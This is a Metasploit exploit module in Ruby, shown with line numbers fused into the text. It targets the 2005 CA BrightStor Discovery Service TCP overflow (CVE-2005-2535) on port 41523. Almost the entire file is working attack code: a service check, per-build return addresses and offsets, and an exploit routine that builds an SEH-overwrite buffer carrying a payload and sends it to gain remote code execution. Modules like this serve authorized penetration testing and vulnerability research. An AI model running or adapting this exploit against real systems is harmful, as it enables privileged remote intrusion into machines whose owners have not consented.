Path: blob/master/modules/exploits/windows/brightstor/discovery_tcp.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor Discovery Service TCP Overflow',16'Description' => %q{17This module exploits a vulnerability in the CA BrightStor18Discovery Service. This vulnerability occurs when a specific19type of request is sent to the TCP listener on port 41523.20This vulnerability was discovered by cybertronic[at]gmx.net21and affects all known versions of the BrightStor product.22This module is based on the 'cabrightstor_disco' exploit by23HD Moore.24},25'Author' => [ 'hdm', 'aushack' ],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2005-2535'],29[ 'OSVDB', '13814'],30[ 'BID', '12536'],31[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],32[ 'EDB', '1131']33],34'Privileged' => true,35'Payload' => {36'Space' => 2048,37'BadChars' => "\x00",38'StackAdjustment' => -3500,39},40'Platform' => %w{win},41'Targets' => [42[43'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.044{45'Platform' => 'win',46'Ret' => 0x23803b20, # pop/pop/ret47'Offset' => 1032,48},49],50[51'cheyprod.dll 12/12/2003',52{53'Platform' => 'win',54'Ret' => 0x23805714, # pop/pop/ret55'Offset' => 1024,56},57],58[59'cheyprod.dll 07/21/2004',60{61'Platform' => 'win',62'Ret' => 0x23805d10, # pop/pop/ret63'Offset' => 1024,64},65],66],67'DisclosureDate' => '2005-02-14',68'DefaultTarget' => 1,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options(78[79Opt::RPORT(41523)80]81)82end8384def check85# The first request should have no reply86csock = Rex::Socket::Tcp.create(87'PeerHost' => datastore['RHOST'],88'PeerPort' => datastore['RPORT'],89'Context' =>90{91'Msf' => framework,92'MsfExploit' => self,93}94)9596csock.put('META')97x = csock.get_once(-1, 3)98csock.close99100# The second request should be replied with the host name101csock = Rex::Socket::Tcp.create(102'PeerHost' => datastore['RHOST'],103'PeerPort' => datastore['RPORT'],104'Context' =>105{106'Msf' => framework,107'MsfExploit' => self,108}109)110111csock.put('hMETA')112y = csock.get_once(-1, 3)113csock.close114115if (y and not x)116return Exploit::CheckCode::Detected117end118119return Exploit::CheckCode::Safe120end121122def exploit123connect124125print_status("Trying target #{target.name}...")126127buf = rand_text_english(4096)128129# Overwriting the return address works well, but the only register130# pointing back to our code is 'esp'. The following stub overwrites131# the SEH frame instead, making things a bit easier.132133seh = generate_seh_payload(target.ret)134buf[target['Offset'], seh.length] = seh135136# Make sure the return address is invalid to trigger SEH137buf[900, 100] = (rand(127) + 128).chr * 100138139# SERVICEPC is the client host name actually =P (thanks Juliano!)140req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"141req << buf142143sock.put(req)144sock.get_once145146handler147disconnect148end149end150151152